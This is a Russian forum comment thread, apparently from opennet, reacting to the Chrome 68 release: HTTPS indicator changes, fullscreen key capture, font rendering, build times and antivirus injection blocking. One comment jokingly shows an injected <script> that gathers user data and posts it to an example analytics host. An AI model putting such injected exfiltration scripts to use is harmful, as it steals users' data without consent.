1.3, Андрей (??), 11:22, 25/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
> пятнадцать премий $500
Учитывая, что уровень у специалистов по безопасности должен быть ого-го, и времени на поиск уходит немало, эти суммы смахивают не на премии, а на чаевые какие-то.
| |
|
2.4, Аноним (4), 11:29, 25/07/2018 [^] [^^] [^^^] [ответить]
| +6 +/– |
500$ платят когда наткнулся на крах, закинул багрепорт, а проблема оказалась уязвимостью.
| |
|
|
|
3.81, Аноним (81), 21:20, 25/07/2018 [^] [^^] [^^^] [ответить]
| –6 +/– |
> хромому до шкурки для хромого еще пахать и пахать
А ты забавный.
| |
|
4.84, Аноним (84), 21:43, 25/07/2018 [^] [^^] [^^^] [ответить]
| +3 +/– |
Тебе интернет вчера провели? Ты наверно и не в курсе, что до шкурки хромого был браузер на собственном движке?
| |
|
|
|
1.6, Аноним (6), 11:38, 25/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +12 +/– |
> Web API предоставляет возможность назначения обработчиков для системных спецклавиш (например, Esc и Alt-Tab) в полноэкранном режиме.
Больше, больше безумия.
| |
|
2.18, Попугай Кеша (?), 12:18, 25/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
Шикарно! То есть сейчас можем залочить ESC, ALT+TAB. Давайте еще ALT+F4 залочим и CTRL+T. И CTRL+ALT+DELETE заодно.
| |
|
3.42, rshadow (ok), 15:15, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
> ALT+F4 залочим и CTRL+T. И CTRL+ALT+DELETE
Какие-то непонятные сочетания клавиш =)
| |
|
2.25, Андрей (??), 13:11, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
> Alt-Tab
Когда не знаешь, как выйти из полноэкранного режима, это же единственная универсальная комбинация клавиш, чтобы из него таки мягко выйти.
| |
2.57, Держу в курсе (?), 17:28, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
кажется еще совсем недавно надо мной смеялись из-за того что ребиндил дефолтные комбинации клавиш...
| |
|
1.7, CHERTS (ok), 11:55, 25/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +4 +/– |
>> следующем выпуске Chrome 69 для HTTPS перестанет показываться зелёная надпись "Secure", а в октябрьском выпуске Chrome 70 будет убран и значок с изображением замка для HTTPS
Эммммм...., а как тогда предполагается заходить на страницу просмотра информации о сертификате? Срок его действия, издатель и прочее?
По-моему - это какая-то глупость со стороны гугла.
| |
|
2.13, Додо (?), 12:10, 25/07/2018 [^] [^^] [^^^] [ответить]
| –1 +/– |
Эта информация доступна через инструменты разработчика.
| |
|
3.15, CHERTS (ok), 12:12, 25/07/2018 [^] [^^] [^^^] [ответить]
| –1 +/– |
Объясните это обычным хомячкам или бухгалтерам, которые боятся лишнюю кнопку нажать.
Я то в курсе что по F12 можно в Security залезть и посмотреть.
| |
|
4.17, Аноним (17), 12:17, 25/07/2018 [^] [^^] [^^^] [ответить]
| +4 +/– |
Для начала им придётся объяснить, зачем смотреть информацию о сертификате
| |
|
5.26, Аноним (26), 13:15, 25/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
Всё просто: написали инструкцию для бухгалтера и если что-то будет работать не по инструкции(например, другая дата сертификата), то необходимо перейти к отдельному пункт с определенными действиями.
| |
5.112, Аноним (112), 06:14, 27/07/2018 [^] [^^] [^^^] [ответить]
| +2 +/– |
А не надо просто работать тем, кому приходится взаимодействовать с бухами, я это серьезно.
| |
|
6.114, Аноним (114), 08:49, 27/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
А еще лучше вообще с человеками не взаимодействовать, только с компами, да и с теми через през^W ssh. :)
| |
|
|
4.96, OS2 (?), 08:55, 26/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
Для справки, хомячки-бухгалтера ничего не боятся.. и порой такой гавнотык устраивают, манипулятором типа мышь.. что думаешь, чем их взять и ***ть.
| |
|
|
2.21, X86 (ok), 12:33, 25/07/2018 [^] [^^] [^^^] [ответить]
| –1 +/– |
Скорее всего также как в Firefox - при нажатии на значок замка всплывает окошко со всем необходимым, где можно посмотреть сертификат и даже куки удалить для данного сайта.
| |
|
|
4.98, OS2 (?), 09:00, 26/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
да и вообще сильно ли этот значем замка поможет? Если произвели подмену и закрылись таким же липовым сертом?
А вот что будет с супер-зелеными EV сертификатами вопрос? Они наверное будут зеленым отмечены. зашел и видишь сайт зелененький все типа круто
| |
|
|
2.39, гугл (?), 14:28, 25/07/2018 [^] [^^] [^^^] [ответить]
| –2 +/– |
а зачем это вы туда собрались? Мы за вас уже все посмотрели, если что не так - вы и сайта своего не увидите, вместо него мы покажем вам Большую КРАСНУЮ страницу неведомой погребени, с кнопкой "немедленно ее закрыть" (и без кнопки продолжить - нет, и никакие девтулз не помогут)
> Срок его действия, издатель и прочее?
бухгалтерше Мане это все нафиг не надо - все равно она не понимает что это.
Вы можете ее заставить вручную сравнивать с бумажкой, но с тем же самым успехом она может сравнивать зелененькое с красненьким - и мы просто облегчили ей жизнь.
А если кто шибкоумный, так вот девтулз есть.
| |
|
|
2.9, nobody (??), 12:05, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Подтверждаю. Только из-за них держу FF вторым браузером - там размазанность шрифтов хоть отключается (ну в тех случаях, когда сам шрифт это допускает)
| |
2.11, 123 (??), 12:07, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
На opennet всё норм, а вот на некоторых сайтах с "неудачными" шрифтами глаза вытекают.
| |
|
|
|
|
6.65, чебурнет.рф (ok), 18:30, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Это видимо для Демьяна, потому что в Убунте нет такого пакета. Но там и не нужно. Вот где-где со шрифтами всё зашибись (под GNOME), так это в Убунте. А вообще, под GNOME3 везде же должно быть зашибись?
| |
|
7.67, Аноним (6), 18:42, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
В Дебиане это нынче называется ttf-mscorefonts-installer. Но и там эту гадость лучше не ставить. fonts-croscore хватит всем.
Вангую загружаемые шрифты и/или "гельветики" всякие.
| |
|
6.79, пох (?), 20:34, 25/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
не поможет - в них же хинтинг сломали в угоду рукожопым "опенсорсным" шрфитам.
А собрать собственную рендерилку вы ниасилите, "ждите ебилдов".
| |
|
|
8.104, нах (?), 17:37, 26/07/2018 [^] [^^] [^^^] [ответить] | +/– | и зачем ты эту херню тут постишь, читатель опенннета Я, в отличие от тебя, знак... текст свёрнут, показать | |
|
|
|
|
4.54, Аноним (54), 16:43, 25/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
> Это линуксопроблема.
В смысле, отсутствуют маркетологи для разъяснение всамделишной прелести и инновации такой методы отрисовки шрифтов "это не шрифты плохо отрисовываются, это вы неправильно на экран смотрите!"?
| |
|
5.71, чебурнет.рф (ok), 19:21, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Тогда отменяем линуксопроблему. Меня и там и там отрисовка в Хроме устраивает. Да и в ФФ устраивает. Значит, отменяем линуксопроблему и выдаём больному направление на приём к психиатру.
| |
|
|
3.107, Ordu (ok), 19:24, 26/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Отключи загрузку левых шрифтов, чтоб рисовалось только системными.
| |
|
|
1.10, 123 (??), 12:06, 25/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Что-то новый Lighthouse 3.0 стал хоть и функциональнее (немного), но тормознее (значительно).
| |
|
|
|
4.58, Аноним (27), 17:38, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Крайне наивно полагать, что разные браузеры работают одинаково. В FF только на прошлой неделе начали испытывать рендеринг нового поколения, до этого какой-то древний использовался.
| |
|
5.61, Fracta1L (ok), 18:00, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Я ничего не полагаю. Хром тормозит, Фаерфокс нет. Вот пусть Хром и чинят.
| |
|
|
|
|
9.118, Аноним (118), 09:14, 27/07/2018 [^] [^^] [^^^] [ответить] | +/– | У бабмаши мои фотографии в её фотографиях не отображаются, а он тут по форумам с... текст свёрнут, показать | |
|
|
|
6.63, Аноним (63), 18:13, 25/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
> Я ничего не полагаю. Хром тормозит, Фаерфокс нет. Вот пусть Хром и чинят.
Да не переживайте Вы так. Фаерфокс скоро починят, тормозить будет не хуже Хрома ;)
| |
|
|
|
3.68, чебурнет.рф (ok), 18:51, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
У меня в 18.04 как раз стоит 390. Хромиум летает. Хорошо. Вот нефиг гнаться за циферьками ;)
| |
|
|
1.22, Аноним (22), 13:08, 25/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +2 +/– |
> В Chrome 68 подстановка кода в процесс приведёт к блокировке запуска браузера и выводу уведомления с возможностью продолжить работу. В Chrome 72, намеченном на январь 2019 года, блокировка будет применяться на постоянной основе
Ты не скажешь, что браузер тормозит, если не сможешь запустить его.
Вместо того, чтобы исправлять причину крахов от работы антивирусов, гугл просто блокирует запуск хрома. Отличное решение! (Сарказм)
| |
|
2.91, axredneck (?), 02:11, 26/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
> исправлять причину крахов от работы антивирусов
И как ее исправлять в Хроме, если это, например, баг антивируса?
| |
|
3.94, Аноним (94), 07:19, 26/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
Связаться с компанией-разработчиком антивируса и сообщить о существующем баге? Да не, ерунда какая-то!
| |
|
|
1.23, iZEN (ok), 13:09, 25/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Чего-то Chromium-67.0.3396.87 из исходников 4,5 часа у меня компилировался. Да ещё Git зачем-то понадобился. Программы становятся всё жирнее и жирнее, интереснее и интереснее...
| |
|
|
3.74, iZEN (ok), 19:55, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
> Компилировал на смартфоне? У меня за час собирается.
AMD FX-8320e, 8ГБ ОЗУ DDR3-1600 в одноканальном режиме. Накануне памяти не хватило - комп завис.
Нормально так, да?
| |
|
|
5.108, iZEN (ok), 21:31, 26/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
> Какое-то барахло 10-летней давности.
Во-первых, не 10-летней, а 6-летней - об FX-8320e было объявлено в конце 2012 года. Во-вторых, оно всё новое и на гарантии.
Ещё 8ГБ планку памяти докупить и будет нормально компилироваться - виснуть из-за нехватки памяти перестанет. А то, что оно так долго компилируется, так оно не мешает задачам переднего плана - видео с Ютуба не тормозит и не заикается, как если бы это было на Linux. (Там с этим большие проблемы, до сих пор нерешённые).
| |
|
4.103, нах (?), 17:33, 26/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
ну вообще-то да, нормально - в смысле сегодня этим еще можно просто пользоваться, но это уже никуда не годная сборочная платформа для хрома
и выключи arc compression нахрен - виснуть, хотя бы, перестанет.
| |
4.110, Аноним (54), 00:03, 27/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
>> Компилировал на смартфоне? У меня за час собирается.
> AMD FX-8320e, 8ГБ ОЗУ DDR3-1600 в одноканальном режиме. Накануне памяти не хватило
> - комп завис.
> Нормально так, да?
Учитывая, что 52 ESR на ноутбучном i5 и 8ГБ ОЗУ (да еще и с WRKDIR в tmpfs), в фоне, минут 40 собирался? Ну, это наверное прогресс!
| |
|
5.121, iZEN (ok), 15:31, 28/07/2018 [^] [^^] [^^^] [ответить]
| –1 +/– |
> Учитывая, что 52 ESR на ноутбучном i5 и 8ГБ ОЗУ (да еще и с WRKDIR в tmpfs), в фоне, минут 40 собирался?
firefox-61.0.1 - 28 минут.
> Ну, это наверное прогресс!
Ещё какой!
| |
|
6.123, iZEN (ok), 15:38, 08/08/2018 [^] [^^] [^^^] [ответить]
| +/– |
firefox-61.0.2 - 35 минут на получение архива с бинарным пакетом.
chromium-68.0.3440.84 - 5 часов на сборку.
| |
|
|
|
|
2.31, Аноним (5), 13:42, 25/07/2018 [^] [^^] [^^^] [ответить]
| –2 +/– |
это все потому что хром написан на каких-то там плюсах вместо Благословенной Явы.
| |
|
3.75, iZEN (ok), 20:00, 25/07/2018 [^] [^^] [^^^] [ответить]
| –1 +/– |
> это все потому что хром написан на каких-то там плюсах вместо Благословенной Явы.
Firefox частично написан на Rust. А Rust-1.27.1 собирается 1ч 10м - это дольше, чем llvm60-6.0.1 (56м).
| |
3.120, Дегенератор (?), 17:02, 27/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
Явой быстро вытираю зад. Она всегда подходит для вытирания любого зада. Основной ее плюс - зад.
| |
|
2.50, asdasd (?), 16:07, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
А то что для сборки БРАУЗЕРА нужно 100+ свободного места и 16GiB оперативной памяти это нормально? А вот 4.5 часа это много.
| |
|
1.28, Аноним (28), 13:39, 25/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +4 +/– |
Для тупых. А как будет показан file:///home/foo/bar.txt? А почему?
А прикопировании хоста, https:// будет по-прежнему добавляться? Невероятно бесит.
| |
|
2.55, Аноним (55), 16:50, 25/07/2018 [^] [^^] [^^^] [ответить]
| –3 +/– |
> как будет показан file:///home/foo/bar.txt?
"Not secure"
> почему?
Потому что не HTTPS.
| |
|
|
4.119, Аноним (118), 09:15, 27/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
пиши files:/// авось оно подумает, что отображает безопасные файлы
| |
|
|
|
1.32, Аноним (28), 13:42, 25/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +3 +/– |
Привет всем банкам и проч., объясняющим клиентам, как выглядит подлинная страница :)
| |
|
2.95, Phantom lord (?), 07:20, 26/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Таки у банков сертификаты с extended validation и в строке адреса отображается не только замочек, но и наименование организации. Подозреваю, что все же останется, а изменения коснутся обычных сертов.
| |
|
1.34, Аноним (34), 13:44, 25/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +2 +/– |
> Progressive Web Apps (PWA, позволяет организовать работу с web-приложением, как с обособленной программой)
Это уже какая попытка натянуть ужа на ежа?
Сто пятая?
| |
|
2.36, Аноним (-), 14:04, 25/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
Это чото вообще непонятное, оно ведь уже было в хроме много лет назад, и тут опять инновацией стало. Кажется, инвесторы стали забывать об этой "фиче" хрома, и можно её заново изобретать.
| |
2.45, rshadow (ok), 15:22, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Скорей оптимизация. Есть 100500 движков мобильных приложений на основе WebView. Зачем они нужны если все одно это браузер с минимальной оберткой? Проще в браузере сделать опцию "развернуть на весь экран и убрать дефолтное меню".
| |
|
|
2.41, имя (?), 14:51, 25/07/2018 [^] [^^] [^^^] [ответить]
| +4 +/– |
Не обязательно трястись из-за полей ввода: HTTPS, например, защищает ещё и от всяких билайн-тулбаров и прочей рекламы, вставленной ISP. И хорошо если только рекламы, а не какой-нибудь <script>website_api.get_all_your_data().post_to('https://mega-analytics.example.com'); website_api.wall.post('Покупайте наших слонов на Example.Com')</script>!
| |
|
3.43, Ivan_83 (ok), 15:15, 25/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
В новости написано для ВСЕХ http сайтов.
У меня на локалхосте, да и в локалке пибилайна нет.
Что до добавлений в http трафик провайдером, то они просто молокососы в сравнении с отмороженными вебмастерами, которые умудряются напичкать сайт и трекерами и счётчиками и банерами и грузить скрипты со шрифтами с гугла и понапихать трекеров от всех соцсетей и творить ещё чёрт знает какой треш.
Те мне не важно кто добавил аналитику и прочий треш, опсос или отмороженый вебмастер, они обе мне не нужны, я им обоим не хочу ничего давать.
С этой проблемой отлично справляется регвестполиси и носкрипт, но никак не tls.
| |
|
|
|
2.92, rzrbld (?), 02:17, 26/07/2018 [^] [^^] [^^^] [ответить]
| +1 +/– |
в experimental:
chrome://flags/
UI Layout for the browser's top chrome > Touchable Refresh или по-компактнее: Refresh
| |
|
1.88, Дуплик (ok), 01:31, 26/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| –2 +/– |
Когда HTTP-сайты вообще отключат и сделают браузер HTTPS-only?
Come on, 2k18 на дворе!
| |
|
2.93, Аноним (93), 05:46, 26/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Тогда губа и роспростокосмос не сможет мониторить реестр запрещенных вселенных.
| |
|
1.109, Аноним (109), 21:32, 26/07/2018 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Увеличилось расстояние между иконками в панели закладок (bookmarks bar). Ну зачем?
| |
|
2.116, Аноним (114), 08:54, 27/07/2018 [^] [^^] [^^^] [ответить]
| +/– |
Чтобы потом можно было его уменьшить и подать как новую фичу, очевидно же!
| |
|
|